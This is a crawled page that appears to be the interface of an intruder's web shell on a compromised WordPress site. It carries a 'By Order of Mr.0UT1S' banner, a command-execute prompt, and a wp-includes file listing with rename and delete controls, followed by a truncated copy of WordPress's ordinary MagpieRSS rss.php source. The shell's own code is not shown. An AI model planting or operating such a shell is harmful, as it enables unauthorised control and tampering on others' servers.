home
/
aioutajg
/
unblockedgames247.com
/
wp-includes
/
Go to Home Directory
+
Upload
Create File
root@0UT1S:~$
Execute
By Order of Mr.0UT1S
[DIR] ..
N/A
[DIR] ID3
N/A
[DIR] IXR
N/A
[DIR] PHPMailer
N/A
[DIR] Requests
N/A
[DIR] SimplePie
N/A
[DIR] Text
N/A
[DIR] assets
N/A
[DIR] block-bindings
N/A
[DIR] block-patterns
N/A
[DIR] block-supports
N/A
[DIR] blocks
N/A
[DIR] certificates
N/A
[DIR] css
N/A
[DIR] customize
N/A
[DIR] fonts
N/A
[DIR] html-api
N/A
[DIR] images
N/A
[DIR] interactivity-api
N/A
[DIR] js
N/A
[DIR] l10n
N/A
[DIR] php-compat
N/A
[DIR] pomo
N/A
[DIR] rest-api
N/A
[DIR] sitemaps
N/A
[DIR] sodium_compat
N/A
[DIR] style-engine
N/A
[DIR] theme-compat
N/A
[DIR] widgets
N/A
admin-bar.php
36.09 KB
Rename
Delete
atomlib.php
11.79 KB
Rename
Delete
author-template.php
18.51 KB
Rename
Delete
block-bindings.php
5.46 KB
Rename
Delete
block-editor.php
28.12 KB
Rename
Delete
block-i18n.json
316 bytes
Rename
Delete
block-patterns.php
12.90 KB
Rename
Delete
block-template-utils.php
60.46 KB
Rename
Delete
block-template.php
15.00 KB
Rename
Delete
blocks.php
108.29 KB
Rename
Delete
bookmark-template.php
12.47 KB
Rename
Delete
bookmark.php
15.07 KB
Rename
Delete
cache-compat.php
5.83 KB
Rename
Delete
cache.php
13.16 KB
Rename
Delete
canonical.php
33.71 KB
Rename
Delete
capabilities.php
41.72 KB
Rename
Delete
category-template.php
55.67 KB
Rename
Delete
category.php
12.53 KB
Rename
Delete
class-IXR.php
2.55 KB
Rename
Delete
class-avif-info.php
28.92 KB
Rename
Delete
class-feed.php
539 bytes
Rename
Delete
class-http.php
367 bytes
Rename
Delete
class-json.php
42.66 KB
Rename
Delete
class-oembed.php
401 bytes
Rename
Delete
class-phpass.php
6.61 KB
Rename
Delete
class-phpmailer.php
664 bytes
Rename
Delete
class-pop3.php
20.63 KB
Rename
Delete
class-requests.php
2.18 KB
Rename
Delete
class-simplepie.php
453 bytes
Rename
Delete
class-smtp.php
457 bytes
Rename
Delete
class-snoopy.php
36.83 KB
Rename
Delete
class-walker-category-dropdown.php
2.41 KB
Rename
Delete
class-walker-category.php
8.28 KB
Rename
Delete
class-walker-comment.php
13.89 KB
Rename
Delete
class-walker-nav-menu.php
11.76 KB
Rename
Delete
class-walker-page-dropdown.php
2.65 KB
Rename
Delete
class-walker-page.php
7.43 KB
Rename
Delete
class-wp-admin-bar.php
17.46 KB
Rename
Delete
class-wp-ajax-response.php
5.14 KB
Rename
Delete
class-wp-application-passwords.php
16.70 KB
Rename
Delete
class-wp-block-bindings-registry.php
8.26 KB
Rename
Delete
class-wp-block-bindings-source.php
2.92 KB
Rename
Delete
class-wp-block-editor-context.php
1.32 KB
Rename
Delete
class-wp-block-list.php
4.65 KB
Rename
Delete
class-wp-block-metadata-registry.php
11.62 KB
Rename
Delete
class-wp-block-parser-block.php
2.50 KB
Rename
Delete
class-wp-block-parser-frame.php
1.97 KB
Rename
Delete
class-wp-block-parser.php
11.26 KB
Rename
Delete
class-wp-block-pattern-categories-registry.php
5.25 KB
Rename
Delete
class-wp-block-patterns-registry.php
10.53 KB
Rename
Delete
class-wp-block-styles-registry.php
6.25 KB
Rename
Delete
class-wp-block-supports.php
5.49 KB
Rename
Delete
class-wp-block-template.php
1.99 KB
Rename
Delete
class-wp-block-templates-registry.php
7.06 KB
Rename
Delete
class-wp-block-type-registry.php
4.90 KB
Rename
Delete
class-wp-block-type.php
16.86 KB
Rename
Delete
class-wp-block.php
22.50 KB
Rename
Delete
class-wp-classic-to-block-menu-converter.php
3.99 KB
Rename
Delete
class-wp-comment-query.php
47.26 KB
Rename
Delete
class-wp-comment.php
9.22 KB
Rename
Delete
class-wp-customize-control.php
25.25 KB
Rename
Delete
class-wp-customize-manager.php
197.84 KB
Rename
Delete
class-wp-customize-nav-menus.php
56.07 KB
Rename
Delete
class-wp-customize-panel.php
10.46 KB
Rename
Delete
class-wp-customize-section.php
10.95 KB
Rename
Delete
class-wp-customize-setting.php
29.26 KB
Rename
Delete
class-wp-customize-widgets.php
70.52 KB
Rename
Delete
class-wp-date-query.php
34.89 KB
Rename
Delete
class-wp-dependencies.php
14.78 KB
Rename
Delete
class-wp-dependency.php
2.57 KB
Rename
Delete
class-wp-duotone.php
39.83 KB
Rename
Delete
class-wp-editor.php
70.64 KB
Rename
Delete
class-wp-embed.php
15.56 KB
Rename
Delete
class-wp-error.php
7.33 KB
Rename
Delete
class-wp-exception.php
253 bytes
Rename
Delete
class-wp-fatal-error-handler.php
7.96 KB
Rename
Delete
class-wp-feed-cache-transient.php
3.10 KB
Rename
Delete
class-wp-feed-cache.php
969 bytes
Rename
Delete
class-wp-hook.php
15.63 KB
Rename
Delete
class-wp-http-cookie.php
7.22 KB
Rename
Delete
class-wp-http-curl.php
12.25 KB
Rename
Delete
class-wp-http-encoding.php
6.53 KB
Rename
Delete
class-wp-http-ixr-client.php
3.42 KB
Rename
Delete
class-wp-http-proxy.php
5.84 KB
Rename
Delete
class-wp-http-requests-hooks.php
1.97 KB
Rename
Delete
class-wp-http-requests-response.php
4.30 KB
Rename
Delete
class-wp-http-response.php
2.91 KB
Rename
Delete
class-wp-http-streams.php
16.46 KB
Rename
Delete
class-wp-http.php
40.60 KB
Rename
Delete
class-wp-image-editor-gd.php
19.69 KB
Rename
Delete
class-wp-image-editor-imagick.php
33.92 KB
Rename
Delete
class-wp-image-editor.php
17.12 KB
Rename
Delete
class-wp-list-util.php
7.27 KB
Rename
Delete
class-wp-locale-switcher.php
6.62 KB
Rename
Delete
class-wp-locale.php
16.49 KB
Rename
Delete
class-wp-matchesmapregex.php
1.79 KB
Rename
Delete
class-wp-meta-query.php
29.82 KB
Rename
Delete
class-wp-metadata-lazyloader.php
6.67 KB
Rename
Delete
class-wp-navigation-fallback.php
9.00 KB
Rename
Delete
class-wp-network-query.php
19.39 KB
Rename
Delete
class-wp-network.php
12.01 KB
Rename
Delete
class-wp-object-cache.php
17.11 KB
Rename
Delete
class-wp-oembed-controller.php
6.74 KB
Rename
Delete
class-wp-oembed.php
30.91 KB
Rename
Delete
class-wp-paused-extensions-storage.php
4.99 KB
Rename
Delete
class-wp-phpmailer.php
3.71 KB
Rename
Delete
class-wp-plugin-dependencies.php
24.72 KB
Rename
Delete
class-wp-post-type.php
29.96 KB
Rename
Delete
class-wp-post.php
6.34 KB
Rename
Delete
class-wp-query.php
154.32 KB
Rename
Delete
class-wp-recovery-mode-cookie-service.php
6.72 KB
Rename
Delete
class-wp-recovery-mode-email-service.php
10.92 KB
Rename
Delete
class-wp-recovery-mode-key-service.php
4.77 KB
Rename
Delete
class-wp-recovery-mode-link-service.php
3.38 KB
Rename
Delete
class-wp-recovery-mode.php
11.18 KB
Rename
Delete
class-wp-rewrite.php
62.20 KB
Rename
Delete
class-wp-role.php
2.46 KB
Rename
Delete
class-wp-roles.php
8.38 KB
Rename
Delete
class-wp-script-modules.php
19.01 KB
Rename
Delete
class-wp-scripts.php
27.68 KB
Rename
Delete
class-wp-session-tokens.php
7.15 KB
Rename
Delete
class-wp-simplepie-file.php
3.33 KB
Rename
Delete
class-wp-simplepie-sanitize-kses.php
1.87 KB
Rename
Delete
class-wp-site-query.php
30.88 KB
Rename
Delete
class-wp-site.php
7.28 KB
Rename
Delete
class-wp-speculation-rules.php
7.35 KB
Rename
Delete
class-wp-styles.php
10.75 KB
Rename
Delete
class-wp-tax-query.php
19.10 KB
Rename
Delete
class-wp-taxonomy.php
18.12 KB
Rename
Delete
class-wp-term-query.php
39.91 KB
Rename
Delete
class-wp-term.php
5.17 KB
Rename
Delete
class-wp-text-diff-renderer-inline.php
979 bytes
Rename
Delete
class-wp-text-diff-renderer-table.php
18.44 KB
Rename
Delete
class-wp-textdomain-registry.php
10.24 KB
Rename
Delete
class-wp-theme-json-data.php
1.77 KB
Rename
Delete
class-wp-theme-json-resolver.php
34.90 KB
Rename
Delete
class-wp-theme-json-schema.php
7.19 KB
Rename
Delete
class-wp-theme-json.php
159.71 KB
Rename
Delete
class-wp-theme.php
64.27 KB
Rename
Delete
class-wp-token-map.php
27.95 KB
Rename
Delete
class-wp-url-pattern-prefixer.php
4.69 KB
Rename
Delete
class-wp-user-meta-session-tokens.php
2.92 KB
Rename
Delete
class-wp-user-query.php
42.63 KB
Rename
Delete
class-wp-user-request.php
2.25 KB
Rename
Delete
class-wp-user.php
22.46 KB
Rename
Delete
class-wp-walker.php
13.01 KB
Rename
Delete
class-wp-widget-factory.php
3.27 KB
Rename
Delete
class-wp-widget.php
18.00 KB
Rename
Delete
class-wp-xmlrpc-server.php
210.39 KB
Rename
Delete
class-wp.php
25.70 KB
Rename
Delete
class-wpdb.php
115.51 KB
Rename
Delete
class.wp-dependencies.php
373 bytes
Rename
Delete
class.wp-scripts.php
343 bytes
Rename
Delete
class.wp-styles.php
338 bytes
Rename
Delete
comment-template.php
100.47 KB
Rename
Delete
comment.php
128.46 KB
Rename
Delete
compat.php
15.99 KB
Rename
Delete
cron.php
41.66 KB
Rename
Delete
date.php
400 bytes
Rename
Delete
default-constants.php
11.10 KB
Rename
Delete
default-filters.php
35.84 KB
Rename
Delete
default-widgets.php
2.24 KB
Rename
Delete
deprecated.php
187.07 KB
Rename
Delete
embed-template.php
338 bytes
Rename
Delete
embed.php
37.28 KB
Rename
Delete
error-protection.php
4.02 KB
Rename
Delete
feed-atom-comments.php
5.38 KB
Rename
Delete
feed-atom.php
3.05 KB
Rename
Delete
feed-rdf.php
2.61 KB
Rename
Delete
feed-rss.php
1.16 KB
Rename
Delete
feed-rss2-comments.php
4.04 KB
Rename
Delete
feed-rss2.php
3.71 KB
Rename
Delete
feed.php
22.86 KB
Rename
Delete
fonts.php
9.52 KB
Rename
Delete
formatting.php
334.24 KB
Rename
Delete
functions.php
280.81 KB
Rename
Delete
functions.wp-scripts.php
14.22 KB
Rename
Delete
functions.wp-styles.php
8.38 KB
Rename
Delete
general-template.php
168.46 KB
Rename
Delete
global-styles-and-settings.php
20.76 KB
Rename
Delete
http.php
24.72 KB
Rename
Delete
https-detection.php
5.72 KB
Rename
Delete
https-migration.php
4.63 KB
Rename
Delete
kses.php
72.73 KB
Rename
Delete
l10n.php
66.92 KB
Rename
Delete
link-template.php
154.10 KB
Rename
Delete
load.php
55.12 KB
Rename
Delete
locale.php
162 bytes
Rename
Delete
media-template.php
61.58 KB
Rename
Delete
media.php
215.12 KB
Rename
Delete
meta.php
63.71 KB
Rename
Delete
ms-blogs.php
25.24 KB
Rename
Delete
ms-default-constants.php
4.81 KB
Rename
Delete
ms-default-filters.php
6.48 KB
Rename
Delete
ms-deprecated.php
21.25 KB
Rename
Delete
ms-files.php
2.71 KB
Rename
Delete
ms-functions.php
89.44 KB
Rename
Delete
ms-load.php
19.42 KB
Rename
Delete
ms-network.php
3.69 KB
Rename
Delete
ms-settings.php
4.10 KB
Rename
Delete
ms-site.php
40.35 KB
Rename
Delete
nav-menu-template.php
25.38 KB
Rename
Delete
nav-menu.php
43.33 KB
Rename
Delete
option.php
100.65 KB
Rename
Delete
pluggable-deprecated.php
6.18 KB
Rename
Delete
pluggable.php
119.82 KB
Rename
Delete
plugin.php
34.63 KB
Rename
Delete
post-formats.php
6.94 KB
Rename
Delete
post-template.php
67.04 KB
Rename
Delete
post-thumbnail-template.php
10.62 KB
Rename
Delete
post.php
284.88 KB
Rename
Delete
query.php
36.17 KB
Rename
Delete
registration-functions.php
200 bytes
Rename
Delete
registration.php
200 bytes
Rename
Delete
rest-api.php
97.91 KB
Rename
Delete
revision.php
30.02 KB
Rename
Delete
rewrite.php
19.08 KB
Rename
Delete
robots-template.php
5.06 KB
Rename
Delete
rss-functions.php
255 bytes
Rename
Delete
rss.php
22.57 KB
Rename
Delete
script-loader.php
129.50 KB
Rename
Delete
script-modules.php
7.53 KB
Rename
Delete
session.php
258 bytes
Rename
Delete
shortcodes.php
23.49 KB
Rename
Delete
sitemaps.php
3.16 KB
Rename
Delete
speculative-loading.php
8.36 KB
Rename
Delete
spl-autoload-compat.php
441 bytes
Rename
Delete
style-engine.php
7.39 KB
Rename
Delete
taxonomy.php
172.10 KB
Rename
Delete
template-canvas.php
544 bytes
Rename
Delete
template-loader.php
2.94 KB
Rename
Delete
template.php
23.59 KB
Rename
Delete
theme-i18n.json
1.49 KB
Rename
Delete
theme-previews.php
2.77 KB
Rename
Delete
theme-templates.php
6.09 KB
Rename
Delete
theme.json
8.50 KB
Rename
Delete
theme.php
131.16 KB
Rename
Delete
update.php
36.62 KB
Rename
Delete
user.php
171.70 KB
Rename
Delete
vars.php
6.41 KB
Rename
Delete
version.php
1.06 KB
Rename
Delete
widgets.php
69.06 KB
Rename
Delete
wp-db.php
445 bytes
Rename
Delete
wp-diff.php
799 bytes
Rename
Delete
<?php /** * MagpieRSS: a simple RSS integration tool * * A compiled file for RSS syndication * * @author Kellan Elliott-McCrea <kellan@protest.net> * @version 0.51 * @license GPL * * @package External * @subpackage MagpieRSS * @deprecated 3.0.0 Use SimplePie instead. */ /** * Deprecated. Use SimplePie (class-simplepie.php) instead. */ _deprecated_file( basename( __FILE__ ), '3.0.0', WPINC . '/class-simplepie.php' ); /** * Fires before MagpieRSS is loaded, to optionally replace it. * * @since 2.3.0 * @deprecated 3.0.0 */ do_action( 'load_feed_engine' ); /** RSS feed constant. */ define('RSS', 'RSS'); define('ATOM', 'Atom'); define('MAGPIE_USER_AGENT', 'WordPress/' . $GLOBALS['wp_version']); class MagpieRSS { var $parser; var $current_item = array(); // item currently being parsed var $items = array(); // collection of parsed items var $channel = array(); // hash of channel fields var $textinput = array(); var $image = array(); var $feed_type; var $feed_version; // parser variables var $stack = array(); // parser stack var $inchannel = false; var $initem = false; var $incontent = false; // if in Atom <content mode="xml"> field var $intextinput = false; var $inimage = false; var $current_field = ''; var $current_namespace = false; //var $ERROR = ""; var $_CONTENT_CONSTRUCTS = array('content', 'summary', 'info', 'title', 'tagline', 'copyright'); /** * PHP5 constructor. */ function __construct( $source ) { # Check if PHP xml isn't compiled # if ( ! function_exists('xml_parser_create') ) { wp_trigger_error( '', "PHP's XML extension is not available. Please contact your hosting provider to enable PHP's XML extension." ); return; } $parser = xml_parser_create(); $this->parser = $parser; # pass in parser, and a reference to this object # set up handlers # xml_set_element_handler($this->parser, array( $this, 'feed_start_element' ), array( $this, 'feed_end_element' ) ); xml_set_character_data_handler( $this->parser, array( $this, 'feed_cdata' ) ); $status = xml_parse( $this->parser, $source ); if (! $status ) { $errorcode = xml_get_error_code( $this->parser ); if ( $errorcode != XML_ERROR_NONE ) { $xml_error = xml_error_string( $errorcode ); $error_line = xml_get_current_line_number($this->parser); $error_col = xml_get_current_column_number($this->parser); $errormsg = "$xml_error at line $error_line, column $error_col"; $this->error( $errormsg ); } } xml_parser_free( $this->parser ); unset( $this->parser ); $this->normalize(); } /** * PHP4 constructor. */ public function MagpieRSS( $source ) { self::__construct( $source ); } function feed_start_element($p, $element, &$attrs) { $el = $element = strtolower($element); $attrs = array_change_key_case($attrs, CASE_LOWER); // check for a namespace, and split if found $ns = false; if ( strpos( $element, ':' ) ) { list($ns, $el) = explode( ':', $element, 2); } if ( $ns and $ns != 'rdf' ) { $this->current_namespace = $ns; } # if feed type isn't set, then this is first element of feed # identify feed from root element # if (!isset($this->feed_type) ) { if ( $el == 'rdf' ) { $this->feed_type = RSS; $this->feed_version = '1.0'; } elseif ( $el == 'rss' ) { $this->feed_type = RSS; $this->feed_version = $attrs['version']; } elseif ( $el == 'feed' ) { $this->feed_type = ATOM; $this->feed_version = $attrs['version']; $this->inchannel = true; } return; } if ( $el == 'channel' ) { $this->inchannel = true; } elseif ($el == 'item' or $el == 'entry' ) { $this->initem = true; if ( isset($attrs['rdf:about']) ) { $this->current_item['about'] = $attrs['rdf:about']; } } // if we're in the default namespace of an RSS feed, // record textinput or image fields elseif ( $this->feed_type == RSS and $this->current_namespace == '' and $el == 'textinput' ) { $this->intextinput = true; } elseif ( $this->feed_type == RSS and $this->current_namespace == '' and $el == 'image' ) { $this->inimage = true; } # handle atom content constructs elseif ( $this->feed_type == ATOM and in_array($el, $this->_CONTENT_CONSTRUCTS) ) { // avoid clashing w/ RSS mod_content if ($el == 'content' ) { $el = 'atom_content'; } $this->incontent = $el; } // if inside an Atom content construct (e.g. content or summary) field treat tags as text elseif ($this->feed_type == ATOM and $this->incontent ) { // if tags are inlined, then flatten $attrs_str = join(' ', array_map(array('MagpieRSS', 'map_attrs'), array_keys($attrs), array_values($attrs) ) ); $this->append_content( "<$element $attrs_str>" ); array_unshift( $this->stack, $el ); } // Atom support many links per containing element. // Magpie treats link elements of type rel='alternate' // as being equivalent to RSS's simple link element. // elseif ($this->feed_type == ATOM and $el == 'link' ) { if ( isset($attrs['rel']) and $attrs['rel'] == 'alternate' ) { $link_el = 'link'; } else { $link_el = 'link_' . $attrs['rel']; } $this->append($link_el, $attrs['href']); } // set stack[0] to current element else { array_unshift($this->stack, $el); } } function feed_cdata ($p, $text) { if ($this->feed_type == ATOM and $this->incontent) { $this->append_content( $text ); } else { $current_el = join('_', array_reverse($this->stack)); $this->append($current_el, $text); } } function feed_end_element ($p, $el) { $el = strtolower($el); if ( $el == 'item' or $el == 'entry' ) { $this->items[] = $this->current_item; $this->current_item = array(); $this->initem = false; } elseif ($this->feed_type == RSS and $this->current_namespace == '' and $el == 'textinput' ) { $this->intextinput = false; } elseif ($this->feed_type == RSS and $this->current_namespace == '' and $el == 'image' ) { $this->inimage = false; } elseif ($this->feed_type == ATOM and in_array($el, $this->_CONTENT_CONSTRUCTS) ) { $this->incontent = false; } elseif ($el == 'channel' or $el == 'feed' ) { $this->inchannel = false; } elseif ($this->feed_type == ATOM and $this->incontent ) { // balance tags properly // note: This may not actually be necessary if ( $this->stack[0] == $el ) { $this->append_content("</$el>"); } else { $this->append_content("<$el />"); } array_shift( $this->stack ); } else { array_shift( $this->stack ); } $this->current_namespace = false; } function concat (&$str1, $str2="") { if (!isset($str1) ) { $str1=""; } $str1 .= $str2; } function append_content($text) { if ( $this->initem ) { $this->concat( $this->current_item[ $this->incontent ], $text ); } elseif ( $this->inchannel ) { $this->concat( $this->channel[ $this->incontent ], $text ); } } // smart append - field and namespace aware function append($el, $text) { if (!$el) { return; } if ( $this->current_namespace ) { if ( $this->initem ) { $this->concat( $this->current_item[ $this->current_namespace ][ $el ], $text); } elseif ($this->inchannel) { $this->concat( $this->channel[ $this->current_namespace][ $el ], $text ); } elseif ($this->intextinput) { $this->concat( $this->textinput[ $this->current_namespace][ $el ], $text ); } elseif ($this->inimage) { $this->concat( $this->image[ $this->current_namespace ][ $el ], $text ); } } else { if ( $this->initem ) { $this->concat( $this->current_item[ $el ], $text); } elseif ($this->intextinput) { $this->concat( $this->textinput[ $el ], $text ); } elseif ($this->inimage) { $this->concat( $this->image[ $el ], $text ); } elseif ($this->inchannel) { $this->concat( $this->channel[ $el ], $text ); } } } function normalize () { // if atom populate rss fields if ( $this->is_atom() ) { $this->channel['description'] = $this->channel['tagline']; for ( $i = 0; $i < count($this->items); $i++) { $item = $this->items[$i]; if ( isset($item['summary']) ) $item['description'] = $item['summary']; if ( isset($item['atom_content'])) $item['content']['encoded'] = $item['atom_content']; $this->items[$i] = $item; } } elseif ( $this->is_rss() ) { $this->channel['tagline'] = $this->channel['description']; for ( $i = 0; $i < count($this->items); $i++) { $item = $this->items[$i]; if ( isset($item['description'])) $item['summary'] = $item['description']; if ( isset($item['content']['encoded'] ) ) $item['atom_content'] = $item['content']['encoded']; $this->items[$i] = $item; } } } function is_rss () { if ( $this->feed_type == RSS ) { return $this->feed_version; } else { return false; } } function is_atom() { if ( $this->feed_type == ATOM ) { return $this->feed_version; } else { return false; } } function map_attrs($k, $v) { return "$k=\"$v\""; } function error( $errormsg, $lvl = E_USER_WARNING ) { if ( MAGPIE_DEBUG ) { wp_trigger_error('', $errormsg, $lvl); } else { error_log( $errormsg, 0); } } } if ( !function_exists('fetch_rss') ) : /** * Build Magpie object based on RSS from URL. * * @since 1.5.0 * @package External * @subpackage MagpieRSS * * @param string $url URL to retrieve feed. * @return MagpieRSS|false MagpieRSS object on success, false on failure. */ function fetch_rss ($url) { // initialize constants init(); if ( !isset($url) ) { // error("fetch_rss called without a url"); return false; } // if cache is disabled if ( !MAGPIE_CACHE_ON ) { // fetch file, and parse it $resp = _fetch_remote_file( $url ); if ( is_success( $resp->status ) ) { return _response_to_rss( $resp ); } else { // error("Failed to fetch $url and cache is off"); return false; } } // else cache is ON else { // Flow // 1. check cache // 2. if there is a hit, make sure it's fresh // 3. if cached obj fails freshness check, fetch remote // 4. if remote fails, return stale object, or error $cache = new RSSCache( MAGPIE_CACHE_DIR, MAGPIE_CACHE_AGE ); if (MAGPIE_DEBUG and $cache->ERROR) { debug($cache->ERROR, E_USER_WARNING); } $cache_status = 0; // response of check_cache $request_headers = array(); // HTTP headers to send with fetch $rss = 0; // parsed RSS object $errormsg = 0; // errors, if any if (!$cache->ERROR) { // return cache HIT, MISS, or STALE $cache_status = $cache->check_cache( $url ); } // if object cached, and cache is fresh, return cached obj if ( $cache_status == 'HIT' ) { $rss = $cache->get( $url ); if ( isset($rss) and $rss ) { $rss->from_cache = 1; if ( MAGPIE_DEBUG > 1) { debug("MagpieRSS: Cache HIT", E_USER_NOTICE); } return $rss; } } // else attempt a conditional get // set up headers if ( $cache_status == 'STALE' ) { $rss = $cache->get( $url ); if ( isset($rss->etag) and $rss->last_modified ) { $request_headers['If-None-Match'] = $rss->etag; $request_headers['If-Last-Modified'] = $rss->last_modified; } } $resp = _fetch_remote_file( $url, $request_headers ); if (isset($resp) and $resp) { if ($resp->status == '304' ) { // we have the most current copy if ( MAGPIE_DEBUG > 1) { debug("Got 304 for $url"); } // reset cache on 304 (at minutillo insistent prodding) $cache->set($url, $rss); return $rss; } elseif ( is_success( $resp->status ) ) { $rss = _response_to_rss( $resp ); if ( $rss ) { if (MAGPIE_DEBUG > 1) { debug("Fetch successful"); } // add object to cache $cache->set( $url, $rss ); return $rss; } } else { $errormsg = "Failed to fetch $url. "; if ( $resp->error ) { # compensate for Snoopy's annoying habit to tacking # on '\n' $http_error = substr($resp->error, 0, -2); $errormsg .= "(HTTP Error: $http_error)"; } else { $errormsg .= "(HTTP Response: " . $resp->response_code .')'; } } } else { $errormsg = "Unable to retrieve RSS file for unknown reasons."; } // else fetch failed // attempt to return cached object if ($rss) { if ( MAGPIE_DEBUG ) { debug("Returning STALE object for $url"); } return $rss; } // else we totally failed // error( $errormsg ); return false; } // end if ( !MAGPIE_CACHE_ON ) { } // end fetch_rss() endif; /** * Retrieve URL headers and content using WP HTTP Request API. * * @since 1.5.0 * @package External * @subpackage MagpieRSS * * @param string $url URL to retrieve * @param array $headers Optional. Headers to send to the URL. Default empty string. * @return Snoopy style response */ function _fetch_remote_file($url, $headers = "" ) { $resp = wp_safe_remote_request( $url, array( 'headers' => $headers, 'timeout' => MAGPIE_FETCH_TIME_OUT ) ); if ( is_wp_error($resp) ) { $error = array_shift($resp->errors); $resp = new stdClass; $resp->status = 500; $resp->response_code = 500; $resp->error = $error[0] . "\n"; //\n = Snoopy compatibility return $resp; } // Snoopy returns headers unprocessed. // Also note, WP_HTTP lowercases all keys, Snoopy did not. $return_headers = array(); foreach ( wp_remote_retrieve_headers( $resp ) as $key => $value ) { if ( !is_array($value) ) { $return_headers[] = "$key: $value"; } else { foreach ( $value as $v ) $return_headers[] = "$key: $v"; } } $response = new stdClass; $response->status = wp_remote_retrieve_response_code( $resp ); $response->response_code = wp_remote_retrieve_response_code( $resp ); $response->headers = $return_headers; $response->results = wp_remote_retrieve_body( $resp ); return $response; } /** * Retrieve * * @since 1.5.0 * @package External * @subpackage MagpieRSS * * @param array $resp * @return MagpieRSS|bool */ function _response_to_rss ($resp) { $rss = new MagpieRSS( $resp->results ); // if RSS parsed successfully if ( $rss && (!isset($rss->ERROR) || !$rss->ERROR) ) { // find Etag, and Last-Modified foreach ( (array) $resp->headers as $h) { // 2003-03-02 - Nicola Asuni (www.tecnick.com) - fixed bug "Undefined offset: 1" if (strpos($h, ": ")) { list($field, $val) = explode(": ", $h, 2); } else { $field = $h; $val = ""; } if ( $field == 'etag' ) { $rss->etag = $val; } if ( $field == 'last-modified' ) { $rss->last_modified = $val; } } return $rss; } // else construct error message else { $errormsg = "Failed to parse RSS file."; if ($rss) { $errormsg .= " (" . $rss->ERROR . ")"; } // error($errormsg); return false; } // end if ($rss and !$rss->error) } /** * Set up constants with default values, unless user overrides. * * @since 1.5.0 * * @global string $wp_version The WordPress version string. * * @package External * @subpackage MagpieRSS */ function init () { if ( defined('MAGPIE_INITALIZED') ) { return; } else { define('MAGPIE_INITALIZED', 1); } if ( !defined('MAGPIE_CACHE_ON') ) { define('MAGPIE_CACHE_ON', 1); } if ( !defined('MAGPIE_CACHE_DIR') ) { define('MAGPIE_CACHE_DIR', './cache'); } if ( !defined('MAGPIE_CACHE_AGE') ) { define('MAGPIE_CACHE_AGE', 60*60); // one hour } if ( !defined('MAGPIE_CACHE_FRESH_ONLY') ) { define('MAGPIE_CACHE_FRESH_ONLY', 0); } if ( !defined('MAGPIE_DEBUG') ) { define('MAGPIE_DEBUG', 0); } if ( !defined('MAGPIE_USER_AGENT') ) { $ua = 'WordPress/' . $GLOBALS['wp_version']; if ( MAGPIE_CACHE_ON ) { $ua = $ua . ')'; } else { $ua = $ua . '; No cache)'; } define('MAGPIE_USER_AGENT', $ua); } if ( !defined('MAGPIE_FETCH_TIME_OUT') ) { define('MAGPIE_FETCH_TIME_OUT', 2); // 2 second timeout } // use gzip encoding to fetch rss files if supported? if ( !defined('MAGPIE_USE_GZIP') ) { define('MAGPIE_USE_GZIP', true); } } function is_info ($sc) { return $sc >= 100 && $sc < 200; } function is_success ($sc) { return $sc >= 200 && $sc < 300; } function is_redirect ($sc) { return $sc >= 300 && $sc < 400; } function is_error ($sc) { return $sc >= 400 && $sc < 600; } function is_client_error ($sc) { return $sc >= 400 && $sc < 500; } function is_server_error ($sc) { return $sc >= 500 && $sc < 600; } class RSSCache { var $BASE_CACHE; // where the cache files are stored var $MAX_AGE = 43200; // when are files stale, default twelve hours var $ERROR = ''; // accumulate error messages /** * PHP5 constructor. */ function __construct( $base = '', $age = '' ) { $this->BASE_CACHE = WP_CONTENT_DIR . '/cache'; if ( $base ) { $this->BASE_CACHE = $base; } if ( $age ) { $this->MAX_AGE = $age; } } /** * PHP4 constructor. */ public function RSSCache( $base = '', $age = '' ) { self::__construct( $base, $age ); } /*=======================================================================*\ Function: set Purpose: add an item to the cache, keyed on url Input: url from which the rss file was fetched Output: true on success \*=======================================================================*/ function set ($url, $rss) { $cache_option = 'rss_' . $this->file_name( $url ); set_transient($cache_option, $rss, $this->MAX_AGE); return $cache_option; } /*=======================================================================*\ Function: get Purpose: fetch an item from the cache Input: url from which the rss file was fetched Output: cached object on HIT, false on MISS \*=======================================================================*/ function get ($url) { $this->ERROR = ""; $cache_option = 'rss_' . $this->file_name( $url ); if ( ! $rss = get_transient( $cache_option ) ) { $this->debug( "Cache does not contain: $url (cache option: $cache_option)" ); return 0; } return $rss; } /*=======================================================================*\ Function: check_cache Purpose: check a url for membership in the cache and whether the object is older then MAX_AGE (ie. STALE) Input: url from which the rss file was fetched Output: cached object on HIT, false on MISS \*=======================================================================*/ function check_cache ( $url ) { $this->ERROR = ""; $cache_option = 'rss_' . $this->file_name( $url ); if ( get_transient($cache_option) ) { // object exists and is current return 'HIT'; } else { // object does not exist return 'MISS'; } } /*=======================================================================*\ Function: serialize \*=======================================================================*/ function serialize ( $rss ) { return serialize( $rss ); } /*=======================================================================*\ Function: unserialize \*=======================================================================*/ function unserialize ( $data ) { return unserialize( $data ); } /*=======================================================================*\ Function: file_name Purpose: map url to location in cache Input: url from which the rss file was fetched Output: a file name \*=======================================================================*/ function file_name ($url) { return md5( $url ); } /*=======================================================================*\ Function: error Purpose: register error \*=======================================================================*/ function error ($errormsg, $lvl=E_USER_WARNING) { $this->ERROR = $errormsg; if ( MAGPIE_DEBUG ) { wp_trigger_error( '', $errormsg, $lvl); } else { error_log( $errormsg, 0); } } function debug ($debugmsg, $lvl=E_USER_NOTICE) { if ( MAGPIE_DEBUG ) { $this->error("MagpieRSS [debug] $debugmsg", $lvl); } } } if ( !function_exists('parse_w3cdtf') ) : function parse_w3cdtf ( $date_str ) { # regex to match W3C date/time formats $pat = "/(\d{4})-(\d{2})-(\d{2})T(\d{2}):(\d{2})(:(\d{2}))?(?:([-+])(\d{2}):?(\d{2})|(Z))?/"; if ( preg_match( $pat, $date_str, $match ) ) { list( $year, $month, $day, $hours, $minutes, $seconds) = array( $match[1], $match[2], $match[3], $match[4], $match[5], $match[7]); # calc epoch for current date assuming GMT $epoch = gmmktime( $hours, $minutes, $seconds, $month, $day, $year); $offset = 0; if ( $match[11] == 'Z' ) { # zulu time, aka GMT } else { list( $tz_mod, $tz_hour, $tz_min ) = array( $match[8], $match[9], $match[10]); # zero out the variables if ( ! $tz_hour ) { $tz_hour = 0; } if ( ! $tz_min ) { $tz_min = 0; } $offset_secs = (($tz_hour*60)+$tz_min)*60; # is timezone ahead of GMT? then subtract offset # if ( $tz_mod == '+' ) { $offset_secs = $offset_secs * -1; } $offset = $offset_secs; } $epoch = $epoch + $offset; return $epoch; } else { return -1; } } endif; if ( !function_exists('wp_rss') ) : /** * Display all RSS items in a HTML ordered list. * * @since 1.5.0 * @package External * @subpackage MagpieRSS * * @param string $url URL of feed to display. Will not auto sense feed URL. * @param int 